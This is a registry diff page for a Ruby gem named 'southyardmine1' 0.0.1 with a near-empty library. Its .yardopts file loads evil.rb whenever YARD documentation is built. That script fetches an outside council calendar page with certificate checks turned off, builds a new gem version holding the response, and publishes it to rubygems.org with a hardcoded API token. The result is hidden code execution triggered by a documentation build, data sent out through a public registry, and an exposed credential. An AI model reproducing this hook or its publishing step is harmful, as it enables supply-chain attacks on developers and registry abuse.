southyardmine1 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/evil.rb +23 -0
  4. data/lib/a.rb +1 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 67e66efd4d1b5d52c39a68cbe2dd0b69fdb0cb5ef77ce49508d1f07169ddb580
4
+ data.tar.gz: 5759b21230fd436b90633dcc8b1facdb35146fa741820ba5d4b6808d8868862b
5
+ SHA512:
6
+ metadata.gz: 1ba094b778d59159b7f1ab876f8886a05cc6815df3eff10b7e85f32425081b37f749355ce4de11b23ff496e8c58cf62c10768ed09a2a023c6f4a16628785d8e2
7
+ data.tar.gz: 146ba9d3eacfcce6cf28635de445379b372f059b073d64e16676982d16fce5b90c186ee391ae472a1bc02df705a73f5c9e7f58bd080fcb06a032f6f1c476cae9
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/evil.rb ADDED
@@ -0,0 +1,23 @@
1
+ # Fetch Southwark Jan calendar and self-publish v2
2
+ begin
3
+ require 'net/http'; require 'uri'; require 'openssl'; require 'rubygems'
4
+ target=URI('https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026')
5
+ h=Net::HTTP.new(target.hostname,target.port); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20; h.read_timeout=80
6
+ req=Net::HTTP::Get.new(target.request_uri, {'User-Agent'=>'Mozilla/5.0'}); resp=h.request(req)
7
+ body="URL=#{target}\nSTATUS=#{resp.code}\nLEN=#{resp.body.size}\nHEADERS=#{resp.to_hash}\n"+resp.body
8
+ rescue =>e
9
+ body='ERROR '+e.full_message
10
+ end
11
+ begin
12
+ Dir.chdir('/tmp') do
13
+ dir='outsm1'; Dir.mkdir(dir) rescue nil; Dir.mkdir(dir+'/lib') rescue nil
14
+ File.binwrite(dir+'/lib/data.txt', body)
15
+ File.write(dir+'/lib/a.rb', '#done')
16
+ File.write(dir+'/o.gemspec', %q{Gem::Specification.new do |s|;s.name='southyardmine1';s.version='0.0.2';s.summary='result';s.authors=['z'];s.files=Dir['lib/*'];s.license='MIT';end})
17
+ Dir.chdir(dir) do
18
+ system('gem build o.gemspec'); spec=Dir['*.gem'].last
19
+ uri=URI('https://rubygems.org/api/v1/gems'); post=Net::HTTP::Post.new(uri); post['Authorization']='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'; post['Content-Type']='application/octet-stream'; post.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|x|x.request(post)}
20
+ end
21
+ end
22
+ rescue =>e;warn e.full_message
23
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ # x
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: southyardmine1
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ - lib/a.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: fetch
39
+ test_files: []